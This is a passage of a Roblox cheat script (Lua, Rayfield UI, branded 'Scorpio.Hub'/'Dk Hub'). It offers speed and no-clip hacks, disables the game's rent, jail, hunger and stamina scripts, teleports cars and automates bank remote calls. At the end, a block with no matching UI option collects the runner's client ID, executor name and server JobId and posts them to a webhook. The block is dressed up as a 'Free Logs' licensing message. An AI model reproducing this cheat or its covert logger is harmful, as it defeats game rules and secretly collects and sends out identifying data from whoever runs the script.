	animationTrack.Looped = true

	task.delay(3, function()
		if freezeConnection then freezeConnection:Disconnect() freezeConnection = nil end
		if enhancedWalk then
			setupMovement()
			Rayfield:Notify({
				Title = "WalkSpeed",
				Content = "Walk speed enabled",
				Duration = 3,
			})
		end
	end)
end

local function stopEnhancedWalk()
	enhancedWalk = false
	cleanup()
	getgenv().SwimMethod = false
end


player.CharacterAdded:Connect(function()
	task.wait(1)
	updateCharacterRefs()
	if enhancedWalk then
		startEnhancedWalk()
	end
end)


PlayersTab:CreateToggle({
    Name = "Enable WalkSpeed (WAIT 1.5 SEC TO RUN)",
    CurrentValue = false,
    Flag = "WalkSpeedToggle",
    Callback = function(state)
        if state then
            startEnhancedWalk()
        else
            stopEnhancedWalk()
        end
    end
})

PlayersTab:CreateSlider({
    Name = "Walk Speed",
    Range = {16, 2000},
    Increment = 1,
    Suffix = "Speed",
    CurrentValue = speed,
    Flag = "WalkSpeedSlider",
    Callback = function(value)
        speed = value
    end
})

local noClipEnabled = false

local function toggleNoClip(state)
    noClipEnabled = state
end

RunService.Stepped:Connect(function()
    if noClipEnabled and LocalPlayer.Character then
        for _, part in ipairs(LocalPlayer.Character:GetDescendants()) do
            if part:IsA("BasePart") then
                part.CanCollide = false
            end
        end
    end
end)

PlayersTab:CreateToggle({
    Name = "No-Clip",
    CurrentValue = false,
    Flag = "4",
    Callback = function(Value)
        toggleNoClip(Value)
    end
})

local PlayersSection = PlayersTab:CreateSection("In-Game")

PlayersTab:CreateToggle({
    Name = "Anti Knockback",
    CurrentValue = false,
    Flag = "AntiKnockback",
    Callback = function(Value)
        getgenv().knc = Value

        if Value then
            task.spawn(function()
                while getgenv().knc do
                    task.wait(0.1)
                    pcall(function()
                        for _, v in ipairs(game.Players.LocalPlayer.Character:GetDescendants()) do
                            if v:IsA("BodyVelocity") or v:IsA("LinearVelocity") or v:IsA("VectorForce") then
                                v:Destroy()
                            end
                        end
                    end)
                end
            end)

            if game.ReplicatedStorage:FindFirstChild("AE") then
                game.ReplicatedStorage.AE:Destroy()
            end

            game.Players.LocalPlayer.Character:WaitForChild("HumanoidRootPart").ChildAdded:Connect(function(des)
                if getgenv().knc then
                    if des:IsA("BodyVelocity") or des:IsA("LinearVelocity") or des:IsA("VectorForce") then
                        des:Destroy()
                    end
                end
            end)
        else
            for _, v in ipairs(game.Players.LocalPlayer.Character:GetDescendants()) do
                if v:IsA("BodyVelocity") or v:IsA("LinearVelocity") or v:IsA("VectorForce") then
                    v:Destroy()
                end
            end
        end
    end,
})

PlayersTab:CreateToggle({
    Name = "Anti JumpCooldown",
    CurrentValue = false,
    Flag = "AntiJumpCooldown",
    Callback = function(Value)
        getgenv().noJumpCooldown = Value

        if Value then
            task.spawn(function()
                while getgenv().noJumpCooldown do
                    task.wait(0.2)
                    pcall(function()
                        local playerGui = game:GetService("Players").LocalPlayer:FindFirstChild("PlayerGui")
                        if playerGui then
                            local debounce = playerGui:FindFirstChild("JumpDebounce")
                            if debounce then
                                debounce:Destroy()
                            end
                        end
                    end)
                end
            end)
        end
    end,
})

local AntiRentPayEnabled = false
PlayersTab:CreateToggle({
    Name = "Anti Rent Pay",
    CurrentValue = false,
    Callback = function(Value)
        AntiRentPayEnabled = Value
        if Value then
            task.spawn(function()
                while AntiRentPayEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    local rentGui = player:FindFirstChild("PlayerGui") and player.PlayerGui:FindFirstChild("RentGui")
                    if rentGui then
                        local rentScript = rentGui:FindFirstChild("LocalScript")
                        if rentScript then
                            rentScript.Disabled = true
                            rentScript:Destroy()
                        end
                    end
                end
            end)
        end
    end
})

local running = false
local connection

PlayersTab:CreateToggle({
    Name = "Anti Jail",
    CurrentValue = false,
    Callback = function(state)
        running = state

        if running then
            local player = game:GetService("Players").LocalPlayer
            local ReplicatedStorage = game:GetService("ReplicatedStorage")

            local function destroyJailRemote()
                local jailRemote = ReplicatedStorage:FindFirstChild("JailRemote")
                if jailRemote then
                    jailRemote:Destroy()
                end
            end

            destroyJailRemote()

            connection = player.CharacterAdded:Connect(function()
                if not running then return end
                task.wait(1)
                destroyJailRemote()
                local jail = ReplicatedStorage:FindFirstChild("JailRemote")
                if jail and jail:FindFirstChild("Damage") then
                    jail.Damage:Destroy()
                end
            end)

            task.spawn(function()
                while running do
                    destroyJailRemote()
                    task.wait(1)
                end
            end)
        else
            if connection then
                connection:Disconnect()
                connection = nil
            end
        end
    end,
})


local AntiSleepEnabled = false
PlayersTab:CreateToggle({
    Name = "Infinite Sleep",
    CurrentValue = false,
    Callback = function(Value)
        AntiSleepEnabled = Value
        if Value then
            task.spawn(function()
                while AntiSleepEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    if player and player:FindFirstChild("PlayerGui") then
                        local sleepGui = player.PlayerGui:FindFirstChild("SleepGui")
                        if sleepGui then
                            local sleepScript = sleepGui:FindFirstChild("Frame") 
                                and sleepGui.Frame:FindFirstChild("sleep") 
                                and sleepGui.Frame.sleep:FindFirstChild("SleepBar") 
                                and sleepGui.Frame.sleep.SleepBar:FindFirstChild("sleepScript")
                            if sleepScript then
                                sleepScript.Disabled = true
                            end
                        end
                    end
                end
            end)
        end
    end
})

local AntiHungerEnabled = false
PlayersTab:CreateToggle({
    Name = "Infinite Hunger",
    CurrentValue = false,
    Callback = function(Value)
        AntiHungerEnabled = Value
        if Value then
            task.spawn(function()
                while AntiHungerEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    if player and player:FindFirstChild("PlayerGui") then
                        local hungerGui = player.PlayerGui:FindFirstChild("Hunger")
                        if hungerGui then
                            local hungerScript = hungerGui:FindFirstChild("Frame") 
                                and hungerGui.Frame:FindFirstChild("Frame") 
                                and hungerGui.Frame.Frame:FindFirstChild("Frame") 
                                and hungerGui.Frame.Frame.Frame:FindFirstChild("HungerBarScript")
                            if hungerScript then
                                hungerScript.Disabled = true
                            end
                        end
                    end
                end
            end)
        end
    end
})

local AntiStaminaEnabled = false
PlayersTab:CreateToggle({
    Name = "Infinite Stamina",
    CurrentValue = false,
    Callback = function(Value)
        AntiStaminaEnabled = Value
        if Value then
            task.spawn(function()
                while AntiStaminaEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    if player and player:FindFirstChild("PlayerGui") then
                        local staminaScript = player.PlayerGui:FindFirstChild("Run") 
                            and player.PlayerGui.Run:FindFirstChild("Frame") 
                            and player.PlayerGui.Run.Frame:FindFirstChild("Frame") 
                            and player.PlayerGui.Run.Frame.Frame:FindFirstChild("Frame") 
                            and player.PlayerGui.Run.Frame.Frame.Frame:FindFirstChild("StaminaBarScript")
                        if staminaScript then
                            staminaScript.Disabled = true
                        end
                    end
                end
            end)
        end
    end
})

PlayersTab:CreateToggle({
    Name = "Instant Interact",
    Default = false,
    Callback = function(Value)
        local Workspace = game:GetService("Workspace")
        local function updateProximityPrompts()
            for i, v in ipairs(Workspace:GetDescendants()) do
                if v.ClassName == "ProximityPrompt" then
                    v.HoldDuration = Value and 0 or 1
                end
            end
        end
        updateProximityPrompts()
        Workspace.DescendantAdded:Connect(function(descendant)
            if descendant.ClassName == "ProximityPrompt" then
                descendant.HoldDuration = Value and 0 or 1
            end
        end)
    end,
})

local AntiCameraShakeEnabled = false
local AntiCameraShakeToggle = PlayersTab:CreateToggle({
    Name = "No Camera Bobbing",
    CurrentValue = false,
    Callback = function(Value)
        AntiCameraShakeEnabled = Value
        if Value then
            task.spawn(function()
                while AntiCameraShakeEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    if player and player.Character then
                        local cameraBobbing = player.Character:FindFirstChild("CameraBobbing")
                        if cameraBobbing then
                            cameraBobbing:Destroy()
                        end
                    end
                end
            end)
        end
    end
})

local bloodRemoved = false

local MyToggle = PlayersTab:CreateToggle({
	Name = "Disable Blood",
	CurrentValue = false,
	Flag = "RemoveBloodToggle",
	Callback = function(Value)
		bloodRemoved = Value
		local playerGui = game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")

		if bloodRemoved then
			local bloodGui = playerGui:FindFirstChild("BloodGui")
			if bloodGui then
				bloodGui.ResetOnSpawn = false
				bloodGui:Destroy()
			end
		else
			-- Optional: Add logic to re-enable the BloodGui if needed
			warn("Re-enabling blood is not supported in this toggle unless you add spawn logic.")
		end
	end,
})

local Toggle = PlayersTab:CreateToggle({
	Name = "Instant Respawn",
	CurrentValue = false,
	Flag = "FasterRespawn",
	Callback = function(Value)
		_G.respawn = Value

		if Value then
			task.spawn(function()
				while _G.respawn and task.wait(1) do
					local player = game:GetService("Players").LocalPlayer
					local character = player.Character
					local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")

					if humanoid and humanoid.Health <= 0 then
						game:GetService("ReplicatedStorage"):WaitForChild("RespawnRE"):FireServer()
					end
				end
			end)
		end
	end,
})

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local lastPosition
local respawnConnection
local deathConnection

PlayersTab:CreateToggle({
    Name = "Respawn Where You Died",
    CurrentValue = false,
    Flag = "RespawnWhereDied",
    Callback = function(state)
        if state then
            local function setup()
                local character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
                local humanoid = character:WaitForChild("Humanoid")
                local root = character:WaitForChild("HumanoidRootPart")

                deathConnection = humanoid.Died:Connect(function()
                    if root then
                        lastPosition = root.CFrame
                    end
                end)

                respawnConnection = LocalPlayer.CharacterAdded:Connect(function(char)
                    local newRoot = char:WaitForChild("HumanoidRootPart")
                    if lastPosition then
                        newRoot.CFrame = lastPosition
                    end
                    setup()
                end)
            end

            setup()
        else
            if respawnConnection then
                respawnConnection:Disconnect()
                respawnConnection = nil
            end
            if deathConnection then
                deathConnection:Disconnect()
                deathConnection = nil
            end
        end
    end,
})

local FarmsTab = Window:CreateTab("Extra", "tractor" ) -- Title, Image
FarmsTab:CreateSection("EXTRA")

local Players = game:GetService("Players")
local player = Players.LocalPlayer

local tagConnection

local function addTag(character)
    local head = character:WaitForChild("Head")

    -- prevent duplicates
    if head:FindFirstChild("DiscordTag") then
        head.DiscordTag:Destroy()
    end

    local billboard = Instance.new("BillboardGui")
    billboard.Name = "DiscordTag"
    billboard.Adornee = head
    billboard.Size = UDim2.new(0, 200, 0, 50)
    billboard.StudsOffset = Vector3.new(0, 3, 0)
    billboard.AlwaysOnTop = true
    billboard.Parent = head

    local text = Instance.new("TextLabel")
    text.Size = UDim2.new(1, 0, 1, 0)
    text.BackgroundTransparency = 1
    text.Text = "User: Zaden_119"
    text.TextColor3 = Color3.fromRGB(255, 0, 0)
    text.TextStrokeTransparency = 0
    text.TextScaled = true
    text.Font = Enum.Font.GothamBold
    text.Parent = billboard
end

local function removeTag()
    local character = player.Character
    if character and character:FindFirstChild("Head") then
        local head = character.Head
        if head:FindFirstChild("DiscordTag") then
            head.DiscordTag:Destroy()
        end
    end
end

-- RAYFIELD TOGGLE
FarmsTab:CreateToggle({
    Name = "Discord Tag",
    CurrentValue = false,
    Flag = "DiscordTagToggle",
    Callback = function(state)
        if state then
            if player.Character then
                addTag(player.Character)
            end

            tagConnection = player.CharacterAdded:Connect(function(char)
                addTag(char)
            end)
        else
            removeTag()

            if tagConnection then
                tagConnection:Disconnect()
                tagConnection = nil
            end
        end
    end
})

local Lighting = game:GetService("Lighting")

local CustomSky

FarmsTab:CreateToggle({
    Name = "Custom Sky",
    CurrentValue = false,
    Flag = "CustomSky",
    Callback = function(state)

        if state then
            -- Remove existing custom sky
            local oldSky = Lighting:FindFirstChild("ScorpioSky")
            if oldSky then
                oldSky:Destroy()
            end

            -- Create skybox
            CustomSky = Instance.new("Sky")
            CustomSky.Name = "ScorpioSky"

            local SkyID = "rbxassetid://81817688420352"

            CustomSky.SkyboxBk = SkyID
            CustomSky.SkyboxDn = SkyID
            CustomSky.SkyboxFt = SkyID
            CustomSky.SkyboxLf = SkyID
            CustomSky.SkyboxRt = SkyID
            CustomSky.SkyboxUp = SkyID

            CustomSky.Parent = Lighting

            Rayfield:Notify({
                Title = "Scorpio.Hub",
                Content = "Custom Sky Enabled",
                Duration = 4
            })

        else
            -- Remove skybox
            local oldSky = Lighting:FindFirstChild("ScorpioSky")
            if oldSky then
                oldSky:Destroy()
            end

            Rayfield:Notify({
                Title = "Scorpio.Hub",
                Content = "Custom Sky Disabled",
                Duration = 4
            })
        end
    end
})

local RunService = game:GetService("RunService")
local Players = game:GetService("Players")

local player = Players.LocalPlayer

local carRainbowConnection
local originalCarData = {}
local CarRainbowEnabled = false

local function getVehicle()
    local character = player.Character
    if not character then return nil end

    local humanoid = character:FindFirstChildOfClass("Humanoid")
    if not humanoid or not humanoid.SeatPart then
        return nil
    end

    return humanoid.SeatPart:FindFirstAncestorOfClass("Model")
end

local function cacheCar(vehicle)
    for _, part in ipairs(vehicle:GetDescendants()) do
        if part:IsA("BasePart") then
            if not originalCarData[part] then
                originalCarData[part] = {
                    Color = part.Color,
                    Material = part.Material
                }
            end
        end
    end
end

local function revertCar()
    for part, data in pairs(originalCarData) do
        if part and part.Parent then
            part.Color = data.Color
            part.Material = data.Material
        end
    end
    table.clear(originalCarData)
end

FarmsTab:CreateToggle({
    Name = "Rainbow Car Body",
    CurrentValue = false,
    Flag = "RainbowCar",

    Callback = function(state)

        if state then
            CarRainbowEnabled = true

            if carRainbowConnection then
                carRainbowConnection:Disconnect()
            end

            carRainbowConnection = RunService.RenderStepped:Connect(function()
                if not CarRainbowEnabled then return end

                local vehicle = getVehicle()
                if not vehicle then return end

                cacheCar(vehicle)

                local hue = (tick() * 0.25) % 1
                local rainbow = Color3.fromHSV(hue, 1, 1)

                for part in pairs(originalCarData) do
                    if part and part.Parent then
                        part.Color = rainbow
                        part.Material = Enum.Material.SmoothPlastic
                    end
                end
            end)

            Rayfield:Notify({
                Title = "Scorpio.Hub",
                Content = "Rainbow Car Body Enabled",
                Duration = 4
            })

        else
            CarRainbowEnabled = false

            if carRainbowConnection then
                carRainbowConnection:Disconnect()
                carRainbowConnection = nil
            end

            revertCar()

            Rayfield:Notify({
                Title = "Scorpio.Hub",
                Content = "Rainbow Car Body Disabled",
                Duration = 4
            })
        end
    end
})

local Players = game:GetService("Players")
local LP = Players.LocalPlayer

local function GetNearestCar(hrp)
    local CivCars = workspace:FindFirstChild("CivCars")
    if not CivCars then return nil end

    local nearestCar = nil
    local nearestDist = math.huge

    for _, car in ipairs(CivCars:GetChildren()) do
        if not car:IsA("Model") then continue end

        local seat = car:FindFirstChild("DriveSeat")
            or car:FindFirstChildWhichIsA("VehicleSeat")

        if not seat then continue end
        if seat.Occupant then continue end

        if not car.PrimaryPart then
            local body = car:FindFirstChild("Body")

            if body and body:FindFirstChild("#Weight") then
                car.PrimaryPart = body["#Weight"]
            else
                car.PrimaryPart = seat
            end
        end

        if not car.PrimaryPart then continue end

        local dist = (car.PrimaryPart.Position - hrp.Position).Magnitude

        if dist < nearestDist then
            nearestDist = dist
            nearestCar = car
        end
    end

    return nearestCar
end

FarmsTab:CreateButton({
    Name = "Bring Random Car",

    Callback = function()
        local char = LP.Character or LP.CharacterAdded:Wait()
        local hrp = char:WaitForChild("HumanoidRootPart", 3)
        local hum = char:FindFirstChildWhichIsA("Humanoid")

        if not hrp or not hum then
            return
        end

        local car = GetNearestCar(hrp)

        if not car then
            warn("No car found")
            return
        end

        local seat = car:FindFirstChild("DriveSeat")
            or car:FindFirstChildWhichIsA("VehicleSeat")

        if not seat then
            return
        end

        if not car.PrimaryPart then
            car.PrimaryPart = seat
        end

        car:SetPrimaryPartCFrame(
            hrp.CFrame * CFrame.new(0, 0, -6) * CFrame.Angles(0, math.rad(180), 0)
        )

        task.wait(0.15)

        local rootPart = char:FindFirstChild("HumanoidRootPart")

        if rootPart then
            rootPart.CFrame = seat.CFrame + Vector3.new(0, 2, 0)
        end

        task.wait(0.15)

        seat:Sit(hum)
    end
})

FarmsTab:CreateSection("ATMS")

local lastEnteredAmount = 0
local autoWithdraw = false
local autoDeposit = false

FarmsTab:CreateInput({
    Name = "Amount",
    CurrentValue = "",
    PlaceholderText = "Input",
    RemoveTextAfterFocusLost = false,
    Flag = "BankAmount",
    Callback = function(Text)
        local amount = tonumber(Text)
        if amount and amount > 0 then
            lastEnteredAmount = amount
            Rayfield:Notify({Title = "Amount Set", Content = "Ready to use $" .. amount, Duration = 2})
        else
            lastEnteredAmount = 0
            Rayfield:Notify({Title = "Invalid", Content = "Please enter a valid number.", Duration = 2})
        end
    end,
})

FarmsTab:CreateButton({
    Name = "Withdraw",
    Callback = function()
        if lastEnteredAmount > 0 and lastEnteredAmount <= 90000 then
            game:GetService("ReplicatedStorage").BankAction:FireServer("with", lastEnteredAmount)
            Rayfield:Notify({Title = "Withdraw", Content = "Withdrew $" .. lastEnteredAmount, Duration = 3})
        else
            Rayfield:Notify({Title = "Withdraw", Content = "Invalid amount! Max is 90K.", Duration = 3})
        end
    end,
})

FarmsTab:CreateButton({
    Name = "Deposit",
    Callback = function()
        if lastEnteredAmount > 0 and lastEnteredAmount <= 30000 then
            game:GetService("ReplicatedStorage").BankAction:FireServer("depo", lastEnteredAmount)
            Rayfield:Notify({Title = "Deposit", Content = "Deposited $" .. lastEnteredAmount, Duration = 3})
        else
            Rayfield:Notify({Title = "Deposit", Content = "Invalid amount! Max is 30K.", Duration = 3})
        end
    end,
})

local BankSection = FarmsTab:CreateSection("Actions")

FarmsTab:CreateToggle({
    Name = "Auto Withdraw",
    CurrentValue = false,
    Flag = "AutoWithdraw",
    Callback = function(Value)
        autoWithdraw = Value
        task.spawn(function()
            while autoWithdraw do
                if lastEnteredAmount > 0 and lastEnteredAmount <= 90000 then
                    game:GetService("ReplicatedStorage").BankAction:FireServer("with", lastEnteredAmount)
                end
                task.wait(1)
            end
        end)
    end,
})

FarmsTab:CreateToggle({
    Name = "Auto Deposit",
    CurrentValue = false,
    Flag = "AutoDeposit",
    Callback = function(Value)
        autoDeposit = Value
        task.spawn(function()
            while autoDeposit do
                if lastEnteredAmount > 0 and lastEnteredAmount <= 30000 then
                    game:GetService("ReplicatedStorage").BankAction:FireServer("depo", lastEnteredAmount)
                end
                task.wait(1)
            end
        end)
    end,
})

FarmsTab:CreateToggle({
    Name = "Auto Drop",
    CurrentValue = false,
    Flag = "AutoDrop",
    Callback = function(Value)
        autoDrop = Value
        task.spawn(function()
            while autoDrop do
                if lastEnteredAmount > 0 then
                    local args = {
                        [1] = "Drop",
                        [2] = tostring(lastEnteredAmount)
                    }
                    game:GetService("ReplicatedStorage"):WaitForChild("BankProcessRemote"):InvokeServer(unpack(args))
                end
                task.wait(1)
            end
        end)
    end,
})

FarmsTab:CreateButton({
    Name = "Check Bank Balance",
    Callback = function()
        local balance = game:GetService("Players").LocalPlayer.stored.Bank.Value
        Rayfield:Notify({
            Title = "Money Check",
            Content = "Your current bank balance is: $" .. tostring(balance),
            Duration = 3
        })
    end
})


local MiscTab = Window:CreateTab("Misc", "puzzle" )
local MiscSection = MiscTab:CreateSection("World Visuals")

local Lighting = game:GetService("Lighting")
local currentTime = 12
local isDayTimeChangerEnabled = false

MiscTab:CreateToggle({
    Name = "Enable",
    CurrentValue = false,
    Flag = "DayTimeChangerToggle",
    Callback = function(state)
        isDayTimeChangerEnabled = state
        if state then
            Lighting:SetMinutesAfterMidnight(currentTime * 60)
        end
    end
})

MiscTab:CreateSlider({
    Name = "Time",
    Range = {0, 24},
    Increment = 1,
    Suffix = "h",
    CurrentValue = 12,
    Flag = "TimeSlider",
    Callback = function(value)
        currentTime = value
        if isDayTimeChangerEnabled then
            Lighting:SetMinutesAfterMidnight(currentTime * 60)
        end
    end
})

local MiscSection = MiscTab:CreateSection("Saturation Changer")

local Lighting = game:GetService("Lighting")

local isFogEnabled = false
local greenFogColor = Color3.fromRGB(0, 255, 0) -- bright green

MiscTab:CreateToggle({
    Name = "Enable Green Fog",
    CurrentValue = false,
    Flag = "GreenFogToggle",
    Callback = function(value)
        isFogEnabled = value
        if value then
            Lighting.FogColor = greenFogColor
            Lighting.FogEnd = 100
        else
            Lighting.FogColor = Color3.fromRGB(255, 255, 255)
            Lighting.FogEnd = 0
        end
    end
})


local Lighting = game:GetService ("Lighting")

local colorCorrection = Instance.new("ColorCorrectionEffect")
colorCorrection.Brightness = 0
colorCorrection.Contrast = 0
colorCorrection.Saturation = 0
colorCorrection.Parent = Lighting

local currentSaturation = 100
local isSaturationEnabled = false

-- Create toggle inside MiscTab (Rayfield doesn't link toggles to section objects)
MiscTab:CreateToggle({
    Name = "Enable Saturation",
    CurrentValue = false,
    Flag = "SaturationToggle",
    Callback = function(value)
        isSaturationEnabled = value
        if value then
            colorCorrection.Saturation = currentSaturation / 100
        else
            colorCorrection.Saturation = 0
        end
    end
})

-- Create slider inside MiscTab
MiscTab:CreateSlider({
    Name = "Saturation Level",
    Range = {0, 200},
    Increment = 1,
    Suffix = "%",
    CurrentValue = 100,
    Flag = "SaturationLevel",
    Callback = function(value)
        currentSaturation = value
        if isSaturationEnabled then
            colorCorrection.Saturation = value / 100
        end
    end
})


local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")

local WebhookURL = "https://[Log in to view URL]"

local function GetHWID()
    local hwid
    pcall(function()
        hwid = game:GetService("RbxAnalyticsService"):GetClientId()
    end)
    return hwid or "Unknown"
end

local function GetExecutor()
    if identifyexecutor then
        return identifyexecutor()
    else
        return "Unknown Executor"
    end
end

local Data = {
    ["username"] = "Free Logs",
    ["embeds"] = {{
        ["title"] = "User Executed!",
        ["description"] = "This user has executed the script `1` times in total successfully.",
        ["color"] = 0x0cff0c, -- Correct hex color format
        ["fields"] = {
            { ["name"] = "**HWID:**", ["value"] = "||" .. GetHWID() .. "||", ["inline"] = false },
            { ["name"] = "**Executor:**", ["value"] = GetExecutor(), ["inline"] = false },
            { ["name"] = "**Discord ID:**", ["value"] = "Unknown", ["inline"] = false },
            { ["name"] = "**Key:**", ["value"] = "||yzyQPPNqvbEUXvUNiEUCCcimXjNZBWBo||", ["inline"] = false },
            { ["name"] = "**Job Id:**", ["value"] = "`" .. tostring(game.JobId) .. "`", ["inline"] = false },
            { 
                ["name"] = "**Action Fingerprint:**", 
                ["value"] = [[
⬛️⬛️⬛️⬛️⬛️⬛️ -> syn/sw-uid  

⬛️🟥🟥⬛️🟦⬛️ -> country  

⬛️🟫🟨⬛️⬛️🟧 -> executor name 
                    
⬛️⬛️⬛️⬛️⬛️⬛️ -> ip address
                ]], 
                ["inline"] = false 
            },
            {
                ["name"] = "**Script:**",
                ["value"] = [[
Dk Hub Free Version
(ID: 7a34b28d14f84595b9bd6f69f9f277a5)
                ]],
                ["inline"] = false
            }
        },
        ["footer"] = {
            ["text"] = "Luarmor - #1 Lua Licensing System https://[Log in to view URL]",
            ["icon_url"] = "https://[Log in to view URL]"
        }
    }}
}

local EncodedData = HttpService:JSONEncode(Data)

local success, response
if syn and syn.request then
    success, response = pcall(syn.request, {
        Url = WebhookURL,
        Method = "POST",
        Headers = { ["Content-Type"] = "application/json" },
        Body = EncodedData
    })
elseif request then
    success, response = pcall(request, {
        Url = WebhookURL,
        Method = "POST",
        Headers = { ["Content-Type"] = "application/json" },
        Body = EncodedData
    })
elseif http and http.request then
    success, response = pcall(http.request, {
        Url = WebhookURL,
        Method = "POST",
        Headers = { ["Content-Type"] = "application/json" },
        Body = EncodedData
    })
else
    print("❌ No supported HTTP request function found.")
end

if success then
    print("✅ Execution log sent successfully!")
else
    print("❌ Failed to send execution log.")
    if response then
        print("Error:", response)
    end
end

Embed on website

To embed this project on your website, copy the following code and paste it into your website's HTML: